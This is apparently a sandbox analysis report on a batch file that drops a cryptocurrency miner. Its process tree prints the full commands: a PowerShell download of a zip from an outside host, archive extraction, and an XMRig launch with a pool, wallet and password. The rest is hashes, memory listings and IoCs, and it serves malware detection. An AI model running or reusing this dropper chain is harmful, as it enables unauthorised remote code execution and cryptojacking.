Analysis

  • max time kernel
    1797s
  • max time network
    1800s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231020-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/11/2023, 21:24

General

  • Target

    tesy - Copy (2).bat

  • Size

    706B

  • MD5

    035f17438f6146d5ac7285b4adfeb370

  • SHA1

    ef83c877367e96073e2b9b841d9c03ece6b1df7e

  • SHA256

    02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0

  • SHA512

    49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3656
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:820
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3832
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K start.cmd
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3768
      • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe
        xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4292

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    2f57fde6b33e89a63cf0dfdd6e60a351

    SHA1

    445bf1b07223a04f8a159581a3d37d630273010f

    SHA256

    3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

    SHA512

    42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    08f9f3eb63ff567d1ee2a25e9bbf18f0

    SHA1

    6bf06056d1bb14c183490caf950e29ac9d73643a

    SHA256

    82147660dc8d3259f87906470e055ae572c1681201f74989b08789298511e5f0

    SHA512

    425a4a8babbc11664d9bac3232b42c45ce8430b3f0b2ae3d9c8e12ad665cd4b4cbae98280084ee77cf463b852309d02ca43e5742a46c842c6b00431fc047d512

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lckqsmqp.ycz.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\test1.zip

    Filesize

    3.2MB

    MD5

    95452958f42b1b93f0c887f59d84d19f

    SHA1

    c861dc457d57471ab42879f49cc8fe171e7c9b1c

    SHA256

    dc24f4d37898468e34bee09afdcb7e1fc681ecbac667bc8eb3c62d035c0fd255

    SHA512

    96207cb7d6cb2977acfbc5e9f507fe0b1b43a5041e5ea50c63f4f7db620fa14512066781c306ba123b0e6aafbb048c4b042f5fdb21e97a48a536acd783b2e072

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\start.cmd

    Filesize

    278B

    MD5

    080123b6eac4a332d3f2b11f6eb3aa54

    SHA1

    8f3d40eae881e3b871cff2aa85521d727ada2a64

    SHA256

    cd7f2c4251361d8e83bc1857767c6eb20d305605ca78418aca3af439ff7d41e2

    SHA512

    0c5033e8a72a924d360bec1b1304889b23dea6a514cd18b055824c19d440a2875472ba70202efb4b7b636398ebd114b365ce88ca18b88a129588639c26d62d8c

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.20.0\xmrig.exe

    Filesize

    7.9MB

    MD5

    4813fa6d610e180b097eae0ce636d2aa

    SHA1

    1e9cd17ea32af1337dd9a664431c809dd8a64d76

    SHA256

    9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc

    SHA512

    5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa

  • memory/820-13-0x000002175CC80000-0x000002175CC90000-memory.dmp

    Filesize

    64KB

  • memory/820-12-0x000002175CC80000-0x000002175CC90000-memory.dmp

    Filesize

    64KB

  • memory/820-11-0x000002175CC80000-0x000002175CC90000-memory.dmp

    Filesize

    64KB

  • memory/820-10-0x00007FFE353D0000-0x00007FFE35E91000-memory.dmp

    Filesize

    10.8MB

  • memory/820-17-0x00007FFE353D0000-0x00007FFE35E91000-memory.dmp

    Filesize

    10.8MB

  • memory/820-0-0x000002175CC50000-0x000002175CC72000-memory.dmp

    Filesize

    136KB

  • memory/3832-28-0x00007FFE350A0000-0x00007FFE35B61000-memory.dmp

    Filesize

    10.8MB

  • memory/3832-29-0x0000024C16BA0000-0x0000024C16BB0000-memory.dmp

    Filesize

    64KB

  • memory/3832-30-0x0000024C16BA0000-0x0000024C16BB0000-memory.dmp

    Filesize

    64KB

  • memory/3832-32-0x0000024C2F000000-0x0000024C2F012000-memory.dmp

    Filesize

    72KB

  • memory/3832-33-0x0000024C16BC0000-0x0000024C16BCA000-memory.dmp

    Filesize

    40KB

  • memory/3832-42-0x00007FFE350A0000-0x00007FFE35B61000-memory.dmp

    Filesize

    10.8MB

  • memory/4292-70-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-81-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-48-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-49-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-50-0x000001B4A8970000-0x000001B4A8990000-memory.dmp

    Filesize

    128KB

  • memory/4292-51-0x000001B4A8990000-0x000001B4A89B0000-memory.dmp

    Filesize

    128KB

  • memory/4292-52-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-53-0x000001B4A8970000-0x000001B4A8990000-memory.dmp

    Filesize

    128KB

  • memory/4292-54-0x000001B4A8990000-0x000001B4A89B0000-memory.dmp

    Filesize

    128KB

  • memory/4292-55-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-56-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-57-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-58-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-59-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-60-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-61-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-62-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-63-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-64-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-65-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-66-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-67-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-68-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-69-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-46-0x000001B4A88F0000-0x000001B4A8910000-memory.dmp

    Filesize

    128KB

  • memory/4292-71-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-72-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-73-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-74-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-75-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-76-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-77-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-78-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-79-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-80-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-47-0x000001B4A8930000-0x000001B4A8970000-memory.dmp

    Filesize

    256KB

  • memory/4292-82-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-83-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-84-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-85-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-86-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-87-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-88-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-89-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-90-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-91-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-92-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-93-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-94-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-95-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-96-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-97-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-98-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-99-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-100-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-101-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-102-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-103-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-104-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-105-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-106-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-107-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-108-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-109-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-110-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-111-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-112-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-113-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB

  • memory/4292-114-0x00007FF7B1A10000-0x00007FF7B2513000-memory.dmp

    Filesize

    11.0MB